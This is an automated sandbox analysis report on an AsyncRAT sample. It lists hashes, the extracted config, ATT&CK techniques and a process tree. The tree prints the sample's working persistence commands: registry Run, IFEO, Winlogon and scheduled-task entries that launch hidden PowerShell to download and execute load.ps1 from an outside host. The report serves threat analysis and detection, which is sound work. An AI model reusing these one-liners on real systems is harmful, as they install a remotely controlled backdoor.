asyncrat | 2314590a57995911ed03149dd991a9e62bfd7d786b81e5b4ee2ab9d6bd3a9092

General

Target
2314590a57995911ed03149dd991a9e62bfd7d786b81e5b4ee2ab9d6bd3a9092.exe
Size 112KB
Sample261107-x8zdds1s8k
SHA256 2314590a57995911ed03149dd991a9e62bfd7d786b81e5b4ee2ab9d6bd3a9092
MD5 6b0f87ac145e4c444bb959e876fa0f4d
SHA1 49ba4405b06d03e20d07b8f961367f0ee64b0da2
SHA512 3881af156acc284b7828513315b14b3f9e4477d45508812a16c97d3efd54e47bbd6524276a97e790aefb25f958ba3fc04664bb4930c160f199b95bb807184995
SSDEEP 3072:AjoK06bVpBOIgxCqxTOmF9InpKQbbZrLSbvXaRrax:AjoK06Rp9WFkKQbJUMY
TLSH
T171B3A44437F94614F2FBAF7CADB5624549BEBD636912CA8D18B0108E0636B81C9E1F37
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

okvip discovery execution asyncrat persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://register.mybet88.gg/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

OKVIP

Mutex

AxY3f8c1fQG9

Attributes

delay
3
install
false
install_file
[email protected]
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2648	powershell.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
896	cmd.exe
252	cmd.exe
3328	cmd.exe
816	cmd.exe
2096	cmd.exe
5084	cmd.exe
4248	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2314590a57995911ed03149dd991a9e62bfd7d786b81e5b4ee2ab9d6bd3a9092.exe

Meterpreter User-Agent 3 IoCs

Uses user-agent string related to Meterpreter framework.

description	flow	ioc
HTTP User-Agent header	52	Meterpreter/1.0 (Windows)
HTTP User-Agent header	75	Meterpreter/1.0 (Windows)
HTTP User-Agent header	95	Meterpreter/1.0 (Windows)

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2768	schtasks.exe
5688	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\2314590a57995911ed03149dd991a9e62bfd7d786b81e5b4ee2ab9d6bd3a9092.exe
"C:\Users\Admin\AppData\Local\Temp\2314590a57995911ed03149dd991a9e62bfd7d786b81e5b4ee2ab9d6bd3a9092.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:4688
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:4248
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    PID:3396
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:896
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    PID:2940
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:252
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    PID:3560
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:3328
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    PID:1844
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:816
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    PID:4412
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:2096
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5688
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:5084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:2648

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')"
1⤵
PID:1724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
1⤵
PID:2724

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:2880

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_w1x3ll2w.x3o.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w1x3ll2w.x3o.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/2724-5-0x0000020266B60000-0x0000020266B82000-memory.dmp

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memory/2724-8-0x00000202679A0000-0x00000202679E8000-memory.dmp

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memory/4688-0-0x0000000074702000-0x0000000074703000-memory.dmp

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memory/4688-1-0x0000000000C10000-0x0000000000C32000-memory.dmp

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memory/4688-2-0x00000000746F0000-0x0000000074EAC000-memory.dmp

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memory/4688-9-0x0000000074702000-0x0000000074703000-memory.dmp

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memory/4688-11-0x00000000746F0000-0x0000000074EAC000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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